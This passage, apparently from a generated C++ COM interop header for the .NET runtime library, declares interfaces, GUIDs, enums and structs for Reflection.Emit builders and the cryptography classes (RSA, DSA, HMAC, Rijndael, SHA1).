__stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("4e6350d1-a08b-3dec-9a3e-c465f9aeec0c")) _LocalBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("007d8a14-fdf3-363e-9a0b-fec0618260a2")) _MethodBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("c2323c25-f57f-3880-8a4d-12ebea7a5852")) _MethodRental : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("d05ffa9a-04af-3519-8ee1-8d93ad73430b")) _ModuleBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("36329eba-f97a-3565-bc07-0ed5c6ef19fc")) _ParameterBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("15f9a479-9397-3a63-acbd-f51977fb0f02")) _PropertyBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("7d13dd37-5a04-393c-bbca-a5fea802893d")) _SignatureHelper : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("7e5678ee-48b3-3f83-b076-c58543498a58")) _TypeBuilder : IUnknown { // // Raw methods provided by interface // virtual HRESULT __stdcall GetTypeInfoCount ( /*[out]*/ unsigned long * pcTInfo ) = 0; virtual HRESULT __stdcall GetTypeInfo ( /*[in]*/ unsigned long iTInfo, /*[in]*/ unsigned long lcid, /*[in]*/ long ppTInfo ) = 0; virtual HRESULT __stdcall GetIDsOfNames ( /*[in]*/ GUID * riid, /*[in]*/ long rgszNames, /*[in]*/ unsigned long cNames, /*[in]*/ unsigned long lcid, /*[in]*/ long rgDispId ) = 0; virtual HRESULT __stdcall Invoke ( /*[in]*/ unsigned long dispIdMember, /*[in]*/ GUID * riid, /*[in]*/ unsigned long lcid, /*[in]*/ short wFlags, /*[in]*/ long pDispParams, /*[in]*/ long pVarResult, /*[in]*/ long pExcepInfo, /*[in]*/ long puArgErr ) = 0; }; struct __declspec(uuid("93c24cdb-4014-3efd-b564-e836ba48c765")) ConstructorBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _MethodBase // interface _ConstructorInfo // [ default ] interface _ConstructorBuilder struct __declspec(uuid("5a3dcd44-5855-3d89-a0ec-ce50a3b144a9")) ILGenerator; // interface _Object // [ default ] interface _ILGenerator struct __declspec(uuid("a6d0f5a1-9218-30d4-8ad7-18ca98ac8026")) DynamicILInfo; // [ default ] interface _DynamicILInfo // interface _Object struct __declspec(uuid("5b9f3fa2-dabb-3887-93f6-663d83a93858")) DynamicMethod; // [ default ] interface _DynamicMethod // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _MethodBase // interface _MethodInfo struct __declspec(uuid("dc18b7ec-91e4-3999-910a-188d7afa0a68")) EventBuilder; // interface _Object // [ default ] interface _EventBuilder #pragma pack(push, 4) struct __declspec(uuid("4e8b1bb8-6a6f-3b57-8afa-0129550b07be")) EventToken { long m_event; }; #pragma pack(pop) struct __declspec(uuid("36d63e48-1646-345f-a3d4-b34e4c42c3c5")) FieldBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _FieldInfo // [ default ] interface _FieldBuilder #pragma pack(push, 8) struct __declspec(uuid("24246833-61eb-329d-bddf-0daf3874062b")) FieldToken { long m_fieldTok; IUnknown * m_class; }; #pragma pack(pop) #pragma pack(push, 4) struct __declspec(uuid("a419b664-dabd-383d-a0db-991487d41e14")) Label { long m_label; }; #pragma pack(pop) struct __declspec(uuid("a6bcaa25-d357-3f79-a716-ad1434e4d832")) LocalBuilder; // interface _Object // [ default ] interface _LocalBuilder struct __declspec(uuid("53df4fb3-a164-37d3-8310-f0d15730ab32")) MethodBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _MethodBase // interface _MethodInfo // [ default ] interface _MethodBuilder struct __declspec(uuid("71bc3e08-0082-320a-8ba5-efa8d2b9798a")) CustomAttributeBuilder; // interface _Object // [ default ] interface _CustomAttributeBuilder struct __declspec(uuid("726d83b0-9a52-36b0-919c-60e625f03211")) MethodRental; // interface _Object // [ default ] interface _MethodRental #pragma pack(push, 4) struct __declspec(uuid("0efe423a-a87e-33d9-8bf4-2d212620ee5f")) MethodToken { long m_method; }; #pragma pack(pop) struct __declspec(uuid("fb2ed445-2862-3a63-9f5a-bbf6c2195dce")) ModuleBuilder; // interface _Object // interface _Module // interface ISerializable // interface ICustomAttributeProvider // [ default ] interface _ModuleBuilder enum __declspec(uuid("e87fa4d7-0caa-3c24-be83-cf98b50186e2")) PEFileKinds { PEFileKinds_Dll = 1, PEFileKinds_ConsoleApplication = 2, PEFileKinds_WindowApplication = 3 }; struct __declspec(uuid("2a59a0e6-11b2-3025-92de-e036a6ddbc00")) OpCodes; // [ default ] interface _OpCodes // interface _Object enum __declspec(uuid("8abd8cb3-a365-32f9-9914-f08ec1fec4ca")) OpCodeType { OpCodeType_Annotation = 0, OpCodeType_Macro = 1, OpCodeType_Nternal = 2, OpCodeType_Objmodel = 3, OpCodeType_Prefix = 4, OpCodeType_Primitive = 5 }; enum __declspec(uuid("d25ed092-a7a8-3bbe-820c-42f5a4604768")) StackBehaviour { StackBehaviour_Pop0 = 0, StackBehaviour_Pop1 = 1, StackBehaviour_Pop1_pop1 = 2, StackBehaviour_Popi = 3, StackBehaviour_Popi_pop1 = 4, StackBehaviour_Popi_popi = 5, StackBehaviour_Popi_popi8 = 6, StackBehaviour_Popi_popi_popi = 7, StackBehaviour_Popi_popr4 = 8, StackBehaviour_Popi_popr8 = 9, StackBehaviour_Popref = 10, StackBehaviour_Popref_pop1 = 11, StackBehaviour_Popref_popi = 12, StackBehaviour_Popref_popi_popi = 13, StackBehaviour_Popref_popi_popi8 = 14, StackBehaviour_Popref_popi_popr4 = 15, StackBehaviour_Popref_popi_popr8 = 16, StackBehaviour_Popref_popi_popref = 17, StackBehaviour_Push0 = 18, StackBehaviour_Push1 = 19, StackBehaviour_Push1_push1 = 20, StackBehaviour_Pushi = 21, StackBehaviour_Pushi8 = 22, StackBehaviour_Pushr4 = 23, StackBehaviour_Pushr8 = 24, StackBehaviour_Pushref = 25, StackBehaviour_Varpop = 26, StackBehaviour_Varpush = 27, StackBehaviour_Popref_popi_pop1 = 28 }; enum __declspec(uuid("b125618b-1b4e-37c3-b31a-331d6021b52d")) OperandType { OperandType_InlineBrTarget = 0, OperandType_InlineField = 1, OperandType_InlineI = 2, OperandType_InlineI8 = 3, OperandType_InlineMethod = 4, OperandType_InlineNone = 5, OperandType_InlinePhi = 6, OperandType_InlineR = 7, OperandType_InlineSig = 9, OperandType_InlineString = 10, OperandType_InlineSwitch = 11, OperandType_InlineTok = 12, OperandType_InlineType = 13, OperandType_InlineVar = 14, OperandType_ShortInlineBrTarget = 15, OperandType_ShortInlineI = 16, OperandType_ShortInlineR = 17, OperandType_ShortInlineVar = 18 }; enum __declspec(uuid("75a7861c-767e-3a5e-a57b-6ec136009654")) FlowControl { FlowControl_Branch = 0, FlowControl_Break = 1, FlowControl_Call = 2, FlowControl_Cond_Branch = 3, FlowControl_Meta = 4, FlowControl_Next = 5, FlowControl_Phi = 6, FlowControl_Return = 7, FlowControl_Throw = 8 }; #pragma pack(push, 8) struct __declspec(uuid("a7ed05c6-fecf-3c35-ba3b-84163ac1d5e5")) OpCode { LPSTR m_stringname; enum StackBehaviour m_pop; enum StackBehaviour m_push; enum OperandType m_operand; enum OpCodeType m_type; long m_size; unsigned char m_s1; unsigned char m_s2; enum FlowControl m_ctrl; long m_endsUncondJmpBlk; long m_stackChange; }; #pragma pack(pop) struct __declspec(uuid("027ad5c3-d619-3506-b8e6-ca67a33b9c8f")) ParameterBuilder; // interface _Object // [ default ] interface _ParameterBuilder #pragma pack(push, 4) struct __declspec(uuid("cfb98ca9-8121-35be-af40-c176c616a16b")) ParameterToken { long m_tkParameter; }; #pragma pack(pop) struct __declspec(uuid("22d4c021-1b3c-3ee3-93b6-4c9d810ce077")) PropertyBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _PropertyInfo // [ default ] interface _PropertyBuilder #pragma pack(push, 4) struct __declspec(uuid("566833c7-f4a0-30ee-bd7e-44752ad570e6")) PropertyToken { long m_property; }; #pragma pack(pop) struct __declspec(uuid("798b57a2-064a-3098-9a80-e12da70e0085")) SignatureHelper; // interface _Object // [ default ] interface _SignatureHelper #pragma pack(push, 8) struct __declspec(uuid("155e1466-0e84-3f2b-b825-f6525523407c")) SignatureToken { long m_signature; struct _ModuleBuilder * m_moduleBuilder; }; #pragma pack(pop) #pragma pack(push, 4) struct __declspec(uuid("8cf0278d-d0ad-307d-be63-a785432e3fdf")) StringToken { long m_string; }; #pragma pack(pop) enum __declspec(uuid("3e0af669-1cd8-3afc-9f2c-e81c2b810135")) PackingSize { PackingSize_Unspecified = 0, PackingSize_Size1 = 1, PackingSize_Size2 = 2, PackingSize_Size4 = 4, PackingSize_Size8 = 8, PackingSize_Size16 = 16, PackingSize_Size32 = 32, PackingSize_Size64 = 64, PackingSize_Size128 = 128 }; struct __declspec(uuid("0f445332-e34c-3f8c-90ed-ab7f0724adab")) TypeBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _Type // interface IReflect // [ default ] interface _TypeBuilder struct __declspec(uuid("a2289b64-5de0-38ba-9266-b55e3598c901")) GenericTypeParameterBuilder; // [ default ] interface _GenericTypeParameterBuilder // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _Type // interface IReflect struct __declspec(uuid("70f855da-4948-38ab-a727-431c386ab9f5")) EnumBuilder; // interface _Object // interface ICustomAttributeProvider // interface _MemberInfo // interface _Type // interface IReflect // [ default ] interface _EnumBuilder #pragma pack(push, 4) struct __declspec(uuid("048fa0c2-8ebb-3bc2-a47f-01f12a32008e")) TypeToken { long m_class; }; #pragma pack(pop) struct __declspec(uuid("e3c3a258-e508-3704-b9eb-264601956fe5")) UnmanagedMarshal; // [ default ] interface _UnmanagedMarshal // interface _Object enum __declspec(uuid("ddd019bf-d182-34de-9192-95575f7b2a31")) AssemblyHashAlgorithm { AssemblyHashAlgorithm_None = 0, AssemblyHashAlgorithm_MD5 = 32771, AssemblyHashAlgorithm_SHA1 = 32772 }; #pragma pack(push, 8) struct __declspec(uuid("42a66664-072f-3a67-a189-7d440709a77e")) AssemblyHash { enum AssemblyHashAlgorithm _Algorithm; SAFEARRAY * _value; }; #pragma pack(pop) enum __declspec(uuid("e3dc8079-43bc-3e70-b291-1591cc9e451d")) AssemblyVersionCompatibility { AssemblyVersionCompatibility_SameMachine = 1, AssemblyVersionCompatibility_SameProcess = 2, AssemblyVersionCompatibility_SameDomain = 3 }; enum __declspec(uuid("75c9e85e-d2d1-32db-bf9c-0636f94fb0c2")) CipherMode { CipherMode_CBC = 1, CipherMode_ECB = 2, CipherMode_OFB = 3, CipherMode_CFB = 4, CipherMode_CTS = 5 }; enum __declspec(uuid("1254089d-0104-3bfb-b6ba-9168f994dca6")) PaddingMode { PaddingMode_None = 1, PaddingMode_PKCS7 = 2, PaddingMode_Zeros = 3, PaddingMode_ANSIX923 = 4, PaddingMode_ISO10126 = 5 }; struct __declspec(uuid("d7a12132-100f-37ae-a277-268a2656e476")) KeySizes; // [ default ] interface _KeySizes // interface _Object struct __declspec(uuid("7f8c7dc5-d8b4-3758-981f-02af6b42461a")) CryptographicException; // [ default ] interface _CryptographicException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("c41fa05c-8a7a-3157-8166-4104bb4925ba")) CryptographicUnexpectedOperationException; // [ default ] interface _CryptographicUnexpectedOperationException // interface _Object // interface ISerializable // interface _Exception struct __declspec(uuid("8abad867-f515-3cf6-bb62-5f0c88b3bb11")) ICryptoTransform : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_InputBlockSize ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_OutputBlockSize ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_CanTransformMultipleBlocks ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_CanReuseTransform ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall TransformBlock ( /*[in]*/ SAFEARRAY * inputBuffer, /*[in]*/ long inputOffset, /*[in]*/ long inputCount, /*[in]*/ SAFEARRAY * outputBuffer, /*[in]*/ long outputOffset, /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall TransformFinalBlock ( /*[in]*/ SAFEARRAY * inputBuffer, /*[in]*/ long inputOffset, /*[in]*/ long inputCount, /*[out,retval]*/ SAFEARRAY * * pRetVal ) = 0; }; struct __declspec(uuid("3e04dc56-84ce-3893-8bef-6c9b95f9ccf4")) RandomNumberGenerator; // [ default ] interface _RandomNumberGenerator // interface _Object // interface IDisposable struct __declspec(uuid("40031115-09d2-3851-a13f-56930be48038")) RNGCryptoServiceProvider; // [ default ] interface _RNGCryptoServiceProvider // interface _Object // interface IDisposable struct __declspec(uuid("5b67ea6b-d85d-3f48-86d2-8581db230c43")) SymmetricAlgorithm; // [ default ] interface _SymmetricAlgorithm // interface _Object // interface IDisposable struct __declspec(uuid("4b135d8e-7b1b-3ea8-8d06-10e34f157e9d")) AsymmetricAlgorithm; // [ default ] interface _AsymmetricAlgorithm // interface _Object // interface IDisposable struct __declspec(uuid("0202ce16-1f18-3bfb-807d-760b157ab260")) AsymmetricKeyExchangeDeformatter; // [ default ] interface _AsymmetricKeyExchangeDeformatter // interface _Object struct __declspec(uuid("ce38dc2d-eb2d-3b6a-afac-8537bd0b9bf7")) AsymmetricKeyExchangeFormatter; // [ default ] interface _AsymmetricKeyExchangeFormatter // interface _Object struct __declspec(uuid("bee4e9fd-de7a-3512-93d8-0c5e006b167a")) AsymmetricSignatureDeformatter; // [ default ] interface _AsymmetricSignatureDeformatter // interface _Object struct __declspec(uuid("5b475a84-5310-3c64-b625-e2bf00476f53")) AsymmetricSignatureFormatter; // [ default ] interface _AsymmetricSignatureFormatter // interface _Object enum __declspec(uuid("11472518-c3b8-3bf4-9705-2135e1709883")) FromBase64TransformMode { FromBase64TransformMode_IgnoreWhiteSpaces = 0, FromBase64TransformMode_DoNotIgnoreWhiteSpaces = 1 }; struct __declspec(uuid("5f3a0f8d-5ef9-3ad5-94e0-53aff8bce960")) ToBase64Transform; // [ default ] interface _ToBase64Transform // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("c1abb475-f198-39d5-bf8d-330bc7189661")) FromBase64Transform; // [ default ] interface _FromBase64Transform // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("ae746923-16bb-3d31-9d08-ce50ef6f7b1a")) CryptoAPITransform; // [ default ] interface _CryptoAPITransform // interface _Object // interface ICryptoTransform // interface IDisposable enum __declspec(uuid("6be41cdf-29d7-32db-8181-5117f580ba68")) CspProviderFlags { CspProviderFlags_NoFlags = 0, CspProviderFlags_UseMachineKeyStore = 1, CspProviderFlags_UseDefaultKeyContainer = 2, CspProviderFlags_UseNonExportableKey = 4, CspProviderFlags_UseExistingKey = 8, CspProviderFlags_UseArchivableKey = 16, CspProviderFlags_UseUserProtectedKey = 32, CspProviderFlags_NoPrompt = 64, CspProviderFlags_CreateEphemeralKey = 128 }; struct __declspec(uuid("af60343f-6c7b-3761-839f-0c44e3ca06da")) CspParameters; // [ default ] interface _CspParameters // interface _Object struct __declspec(uuid("9ea60eca-3dcd-340f-8e95-67845d185999")) CryptoConfig; // [ default ] interface _CryptoConfig // interface _Object enum __declspec(uuid("8990cb3b-227e-3a43-8264-0057ec763fa0")) CryptoStreamMode { CryptoStreamMode_Read = 0, CryptoStreamMode_Write = 1 }; struct __declspec(uuid("b5c4e3ca-476a-3961-bca5-a6c0ad73e7b1")) CryptoStream; // [ default ] interface _CryptoStream // interface _Object // interface IDisposable struct __declspec(uuid("f30d404c-a350-36fa-a6fc-054c3f583420")) DES; // [ default ] interface _DES // interface _Object // interface IDisposable struct __declspec(uuid("b6eb52d5-bb1c-3380-8bca-345ff43f4b04")) DESCryptoServiceProvider; // [ default ] interface _DESCryptoServiceProvider // interface _Object // interface IDisposable struct __declspec(uuid("7d62db2d-86e3-3ade-90c4-215950643d10")) DeriveBytes; // [ default ] interface _DeriveBytes // interface _Object // interface IDisposable #pragma pack(push, 8) struct __declspec(uuid("0c646f46-aa27-350d-88dd-d8c920ce6c2d")) DSAParameters { SAFEARRAY * P; SAFEARRAY * Q; SAFEARRAY * G; SAFEARRAY * y; SAFEARRAY * J; SAFEARRAY * x; SAFEARRAY * Seed; long Counter; }; #pragma pack(pop) struct __declspec(uuid("c13e7301-9b3f-3530-b60a-7f141d6dde83")) DSA; // [ default ] interface _DSA // interface _Object // interface IDisposable struct __declspec(uuid("673dfe75-9f93-304f-aba8-d2a86ba87d7c")) DSACryptoServiceProvider; // [ default ] interface _DSACryptoServiceProvider // interface _Object // interface IDisposable // interface ICspAsymmetricAlgorithm struct __declspec(uuid("1f17c39c-99d5-37e0-8e98-8f27044bd50a")) DSASignatureDeformatter; // [ default ] interface _DSASignatureDeformatter // interface _Object struct __declspec(uuid("8f6d198c-e66f-3a87-aa3f-f885dd09ea13")) DSASignatureFormatter; // [ default ] interface _DSASignatureFormatter // interface _Object struct __declspec(uuid("68549fc3-f82c-3387-8578-e5fb09833740")) HashAlgorithm; // [ default ] interface _HashAlgorithm // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("bf1b2d6a-e41e-3645-8257-a08d7483bd41")) KeyedHashAlgorithm; // [ default ] interface _KeyedHashAlgorithm // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("c67d3b5f-8b7f-3720-b35f-3b49d058a900")) HMAC; // [ default ] interface _HMAC // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("a7eddcb5-6043-3988-921c-25e3dee6322b")) HMACMD5; // [ default ] interface _HMACMD5 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("20051d1b-321f-3e4d-a3da-5fbe892f7ec5")) HMACRIPEMD160; // [ default ] interface _HMACRIPEMD160 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("00b01b2e-b1fe-33a6-ad40-57de8358dc7d")) HMACSHA1; // [ default ] interface _HMACSHA1 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("2c314899-8f99-3041-a49d-2f6afc0e6296")) HMACSHA256; // [ default ] interface _HMACSHA256 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("ae53ed01-cab4-39ce-854a-8bf544eeec35")) HMACSHA384; // [ default ] interface _HMACSHA384 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("477a7d8e-8d26-3959-88f6-f6ab7e7f50cf")) HMACSHA512; // [ default ] interface _HMACSHA512 // interface _Object // interface ICryptoTransform // interface IDisposable enum __declspec(uuid("d7dd91c9-91e4-38e9-8ec6-37836572a66a")) KeyNumber { KeyNumber_Exchange = 1, KeyNumber_Signature = 2 }; struct __declspec(uuid("e5e5b585-8a68-3f26-bb61-f34ef3ad27f8")) CspKeyContainerInfo; // [ default ] interface _CspKeyContainerInfo // interface _Object struct __declspec(uuid("39b68485-6773-3c46-82e9-56d8f0b4570c")) MACTripleDES; // [ default ] interface _MACTripleDES // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("668515a6-213d-377a-8fe4-5a1e59a10ac9")) MD5; // [ default ] interface _MD5 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("d2548bf2-801a-36af-8800-1f11fbf54361")) MD5CryptoServiceProvider; // [ default ] interface _MD5CryptoServiceProvider // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("be1e426e-676b-3524-9ced-21e306e9b827")) MaskGenerationMethod; // [ default ] interface _MaskGenerationMethod // interface _Object struct __declspec(uuid("eed31dd9-aa11-3993-80e0-0088c1f5feba")) PasswordDeriveBytes; // [ default ] interface _PasswordDeriveBytes // interface _Object // interface IDisposable struct __declspec(uuid("7ae844f0-eca8-3f15-ae27-afa21a2aa6f8")) PKCS1MaskGenerationMethod; // [ default ] interface _PKCS1MaskGenerationMethod // interface _Object struct __declspec(uuid("1c6dc255-62d6-3366-bb25-01c509085473")) RC2; // [ default ] interface _RC2 // interface _Object // interface IDisposable struct __declspec(uuid("62e92675-cb77-3fc9-8597-1a81a5f18013")) RC2CryptoServiceProvider; // [ default ] interface _RC2CryptoServiceProvider // interface _Object // interface IDisposable struct __declspec(uuid("7107ab85-4c6d-3890-af8a-90b2e2d82f5b")) Rfc2898DeriveBytes; // [ default ] interface _Rfc2898DeriveBytes // interface _Object // interface IDisposable struct __declspec(uuid("7813009a-0f6f-3f40-b73a-fae619971619")) RIPEMD160; // [ default ] interface _RIPEMD160 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("3d367908-928f-3c13-8b93-5e1718820f6d")) RIPEMD160Managed; // [ default ] interface _RIPEMD160Managed // interface _Object // interface ICryptoTransform // interface IDisposable #pragma pack(push, 8) struct __declspec(uuid("094e9135-483d-334a-aae7-8690895ab70a")) RSAParameters { SAFEARRAY * Exponent; SAFEARRAY * Modulus; SAFEARRAY * P; SAFEARRAY * Q; SAFEARRAY * DP; SAFEARRAY * DQ; SAFEARRAY * InverseQ; SAFEARRAY * D; }; #pragma pack(pop) struct __declspec(uuid("3e39ca4f-cd6f-3cfe-8659-7fdc8d1c9f0b")) RSA; // [ default ] interface _RSA // interface _Object // interface IDisposable struct __declspec(uuid("d9035152-6b1f-33e3-86f4-411cd21cde0e")) RSACryptoServiceProvider; // [ default ] interface _RSACryptoServiceProvider // interface _Object // interface IDisposable // interface ICspAsymmetricAlgorithm struct __declspec(uuid("4d187ac2-d815-3b7e-bcea-8e0bbc702f7c")) RSAOAEPKeyExchangeDeformatter; // [ default ] interface _RSAOAEPKeyExchangeDeformatter // interface _Object struct __declspec(uuid("a0e2e749-63ce-3651-8f4f-f5f996344c32")) RSAOAEPKeyExchangeFormatter; // [ default ] interface _RSAOAEPKeyExchangeFormatter // interface _Object struct __declspec(uuid("ee96f4e1-377e-315c-aef5-874dc8c7a2aa")) RSAPKCS1KeyExchangeDeformatter; // [ default ] interface _RSAPKCS1KeyExchangeDeformatter // interface _Object struct __declspec(uuid("92755472-2059-3f96-8938-8ac767b5187b")) RSAPKCS1KeyExchangeFormatter; // [ default ] interface _RSAPKCS1KeyExchangeFormatter // interface _Object struct __declspec(uuid("6f674828-9081-3b45-bc39-791bd84ccf8f")) RSAPKCS1SignatureDeformatter; // [ default ] interface _RSAPKCS1SignatureDeformatter // interface _Object struct __declspec(uuid("7bc115cd-1ee2-3068-894d-e3d3f7632f40")) RSAPKCS1SignatureFormatter; // [ default ] interface _RSAPKCS1SignatureFormatter // interface _Object struct __declspec(uuid("48cbeb8f-db77-3103-899c-cd24a832b5cc")) Rijndael; // [ default ] interface _Rijndael // interface _Object // interface IDisposable struct __declspec(uuid("1f9f18a3-efc0-3913-84a5-90678a4a9a80")) RijndaelManaged; // [ default ] interface _RijndaelManaged // interface _Object // interface IDisposable struct __declspec(uuid("fa28c8e8-6b89-3ec5-ac16-720d8e31dc97")) RijndaelManagedTransform; // [ default ] interface _RijndaelManagedTransform // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("eb52b161-afb3-3dea-bfaf-c183aeb57e56")) SHA1; // [ default ] interface _SHA1 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("fc13a7d5-e2b3-37ba-b807-7fa6238284d5")) 